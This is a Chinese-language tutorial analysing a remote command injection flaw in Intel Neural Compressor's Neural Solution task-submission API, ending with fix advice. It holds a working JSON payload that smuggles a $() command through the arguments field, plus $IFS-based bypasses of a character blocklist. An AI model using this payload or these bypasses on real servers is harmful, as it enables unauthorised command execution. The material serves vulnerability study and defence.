Neural Solution 代码执行漏洞分析与利用教学<\/h1>

漏洞概述<\/h2>
Intel® Neural Compressor 的 Neural Solution 模块存在远程代码执行漏洞，攻击者可通过精心构造的恶意请求在服务端执行任意命令。<\/p>

组件介绍<\/h2>

Intel® Neural Compressor<\/h3>

开源 Python 库<\/li>
支持主流深度学习框架：TensorFlow、PyTorch、ONNX Runtime、MXNet<\/li>

提供模型压缩技术：量化、剪枝、蒸馏、神经架构搜索<\/li> <\/ul>

Neural Solution<\/h3>

Neural Compressor 的 Web 接口服务模块<\/li>
提供 RESTFUL\/GRPC API<\/li>

允许用户通过接口提交优化任务<\/li> <\/ul>

漏洞原理分析<\/h2>

任务提交流程<\/h3>

用户通过 \/task\/submit\/<\/code> 接口提交任务数据<\/li>
服务端验证任务数据合法性<\/li>
将任务参数存入数据库<\/li>

准备并执行任务<\/li>
<\/ol>
关键代码分析<\/h3>
任务提交端点<\/h4>
@app<\/span>.<\/span>post("\/task\/submit\/"<\/span>)
<\/span><\/span>async<\/span> def<\/span> submit_task<\/span>(task: Task):
<\/span><\/span>    if<\/span> not<\/span> is_valid_task(task.<\/span>dict()):
<\/span><\/span>        raise<\/span> HTTPException(status_code=<\/span>422<\/span>, detail=<\/span>"Invalid task"<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 数据库操作<\/span>
<\/span><\/span>    conn =<\/span> sqlite3.<\/span>connect(db_path)
<\/span><\/span>    cursor =<\/span> conn.<\/span>cursor()
<\/span><\/span>    task_id =<\/span> str(uuid.<\/span>uuid4()).<\/span>replace("-"<\/span>, ""<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 任务数据存入数据库<\/span>
<\/span><\/span>    sql =<\/span> (r<\/span>"insert into task(id, script_url, optimized, arguments, approach, requirements, workers, status)"<\/span>
<\/span><\/span>           +<\/span> r<\/span>" values pending')"<\/span>
<\/span><\/span>           .<\/span>format(task_id, task.<\/span>script_url, task.<\/span>optimized, 
<\/span><\/span>                   list_to_string(task.<\/span>arguments), task.<\/span>approach,
<\/span><\/span>                   list_to_string(task.<\/span>requirements), task.<\/span>workers))
<\/span><\/span>    cursor.<\/span>execute(sql)
<\/span><\/span>    conn.<\/span>commit()
<\/span><\/span>    
<\/span><\/span>    # 提交任务执行<\/span>
<\/span><\/span>    task_submitter.<\/span>submit_task(task_id)
<\/span><\/span>    conn.<\/span>close()
<\/span><\/span><\/code><\/pre>命令执行关键函数<\/h4>
def<\/span> launch_task<\/span>(self, task: Task, resource):
<\/span><\/span>    """Generate the mpi command and execute the task."""<\/span>
<\/span><\/span>    full_cmd =<\/span> self.<\/span>_parse_cmd(task, resource)  # 解析任务数据<\/span>
<\/span><\/span>    log_path =<\/span> get_task_log_path(log_path=<\/span>get_task_log_workspace(self.<\/span>config.<\/span>workspace), 
<\/span><\/span>                                task_id=<\/span>task.<\/span>task_id)
<\/span><\/span>    
<\/span><\/span>    # 关键漏洞点：使用shell=True执行命令<\/span>
<\/span><\/span>    p =<\/span> subprocess.<\/span>Popen(full_cmd, 
<\/span><\/span>                        stdout=<\/span>open(log_path, "w+"<\/span>), 
<\/span><\/span>                        shell=<\/span>True<\/span>)  # nosec<\/span>
<\/span><\/span><\/code><\/pre>安全检测机制<\/h3>
输入验证函数<\/h4>
def<\/span> is_invalid_str<\/span>(to_test_str: str):
<\/span><\/span>    """验证字符串是否包含危险字符"""<\/span>
<\/span><\/span>    return<\/span> any(char in<\/span> to_test_str for<\/span> char in<\/span> 
<\/span><\/span>              [" "<\/span>, '"'<\/span>, "'"<\/span>, "&"<\/span>, "|"<\/span>, ";"<\/span>, "`"<\/span>, ">"<\/span>])
<\/span><\/span><\/code><\/pre>验证规则<\/h4>

过滤字符：空格、双引号、单引号、&、|、;、反引号、><\/li>
必填字段检查：["script_url", "optimized", "arguments", "approach", "requirements", "workers"]<\/li>
数据类型验证：script_url、optimized需为字符串，arguments、requirements需为列表<\/li>
<\/ul>
命令拼接流程<\/h3>


任务准备阶段<\/strong>：prepare_task()<\/code> 处理任务参数<\/p>
<\/li>

脚本路径判断<\/strong>：<\/p>

本地脚本：可能出现索引异常中断执行<\/li>
远程URL：使用URL最后一个斜杠后的值作为脚本名<\/li>
<\/ul>
<\/li>

命令生成<\/strong>：full_cmd<\/code> 结构如下：<\/p>
cd $task_path
$mpi_cmd bash xxxx.sh
<\/code><\/pre>
<\/li>

SH文件内容<\/strong>：<\/p>
xxxx
<\/span><\/span>cd xxxx
<\/span><\/span>python xxxxx.py [<\/span>task.arguments]<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
漏洞利用技术<\/h2>
利用条件<\/h3>

绕过 is_invalid_str()<\/code> 函数的安全检查<\/li>
控制 task.arguments<\/code> 参数内容<\/li>
利用命令拼接实现代码执行<\/li>
<\/ol>
命令执行位置<\/h3>
最终命令格式：<\/p>
python xxx.py --dataset_location=<\/span>可控参数 --model_path=<\/span>可控参数
<\/span><\/span><\/code><\/pre>绕过技术<\/h3>
空格绕过方法<\/h4>

$IFS$9<\/code><\/li>
${IFS}<\/code><\/li>
$IFS<\/code><\/li>
<<\/code><\/li>
<><\/code><\/li>
%20<\/code> (空格URL编码)<\/li>
%09<\/code> (制表符URL编码)<\/li>
<\/ul>
命令注入技术<\/h4>
使用 $()<\/code> 命令替换语法：<\/p>
python aaa.py --aaa=<\/span>$(<\/span>恶意命令)<\/span>
<\/span><\/span><\/code><\/pre>完整利用Payload<\/h3>
验证Payload<\/h4>
{
<\/span><\/span>    "script_url"<\/span>: "https:\/\/raw.githubusercontent.com\/sunriseXu\/onnx\/main\/main.py"<\/span>,
<\/span><\/span>    "optimized"<\/span>: "False"<\/span>,
<\/span><\/span>    "arguments"<\/span>: [
<\/span><\/span>        "--dataset_location=$(touch$IFS$9\/tmp\/test)"<\/span>,
<\/span><\/span>        "--model_path=$(touch$IFS$9\/tmp\/test)"<\/span>
<\/span><\/span>    ],
<\/span><\/span>    "approach"<\/span>: "static"<\/span>,
<\/span><\/span>    "requirements"<\/span>: [],
<\/span><\/span>    "workers"<\/span>: 1<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>Payload 说明<\/h4>

script_url<\/strong>: 使用合法的远程Python脚本URL<\/li>
optimized<\/strong>: 设置为"False"确保使用远程脚本路径<\/li>
arguments<\/strong>: 注入恶意命令，使用$IFS$9<\/code>绕过空格过滤<\/li>
验证方法<\/strong>: 通过touch<\/code>命令在\/tmp\/test<\/code>创建文件验证执行成功<\/li>
<\/ul>
漏洞特征<\/h2>
影响范围<\/h3>

Neural Solution 模块<\/li>
使用 subprocess.Popen 且 shell=True 的版本<\/li>
<\/ul>
漏洞类型<\/h3>

远程代码执行（无回显）<\/li>
命令注入漏洞<\/li>
<\/ul>
利用限制<\/h3>

需要绕过字符过滤机制<\/li>
执行结果无直接回显<\/li>
依赖外部验证手段确认执行成功<\/li>
<\/ul>
防护建议<\/h2>
代码修复方案<\/h3>


避免使用shell=True<\/strong><\/p>
# 不安全<\/span>
<\/span><\/span>subprocess.<\/span>Popen(command, shell=<\/span>True<\/span>)
<\/span><\/span>
<\/span><\/span># 安全<\/span>
<\/span><\/span>subprocess.<\/span>Popen(command.<\/span>split(), shell=<\/span>False<\/span>)
<\/span><\/span><\/code><\/pre><\/li>

增强输入验证<\/strong><\/p>
def<\/span> enhanced_validation<\/span>(input_str):
<\/span><\/span>    dangerous_patterns =<\/span> [r<\/span>'\$\('<\/span>, r<\/span>'`'<\/span>, r<\/span>'\|\|'<\/span>, r<\/span>'&&'<\/span>]
<\/span><\/span>    for<\/span> pattern in<\/span> dangerous_patterns:
<\/span><\/span>        if<\/span> re.<\/span>search(pattern, input_str):
<\/span><\/span>            return<\/span> False<\/span>
<\/span><\/span>    return<\/span> True<\/span>
<\/span><\/span><\/code><\/pre><\/li>

使用参数化执行<\/strong><\/p>
subprocess.<\/span>Popen([python_path, script_path] +<\/span> arguments_list)
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
安全开发实践<\/h3>

对用户输入进行严格的白名单验证<\/li>
避免将用户输入直接拼接为系统命令<\/li>
使用最小权限原则运行服务<\/li>
实施完整的输入输出编码<\/li>
<\/ol>
总结<\/h2>
该漏洞源于Neural Solution模块对用户输入验证不充分，结合危险的命令执行方式，导致远程代码执行风险。通过精心构造的Payload可以绕过现有的安全机制，在服务端执行任意命令。修复关键在于改进输入验证机制并采用安全的命令执行方式。<\/p>

Neural Solution 代码执行漏洞分析与利用教学<\/h1>

漏洞概述<\/h2> Intel® Neural Compressor 的 Neural Solution 模块存在远程代码执行漏洞，攻击者可通过精心构造的恶意请求在服务端执行任意命令。<\/p>

组件介绍<\/h2>

漏洞原理分析<\/h2>

关键代码分析<\/h3>

安全检测机制<\/h3>

漏洞利用技术<\/h2>

绕过技术<\/h3>

完整利用Payload<\/h3>

漏洞特征<\/h2>

防护建议<\/h2>

漏洞概述<\/h2>
Intel® Neural Compressor 的 Neural Solution 模块存在远程代码执行漏洞，攻击者可通过精心构造的恶意请求在服务端执行任意命令。<\/p>